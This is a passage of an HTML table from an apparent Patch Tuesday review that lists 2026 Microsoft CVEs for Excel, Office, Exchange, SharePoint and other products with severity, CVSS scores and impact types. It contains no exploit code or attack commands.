  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55126"><span>CVE-2026-55126</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
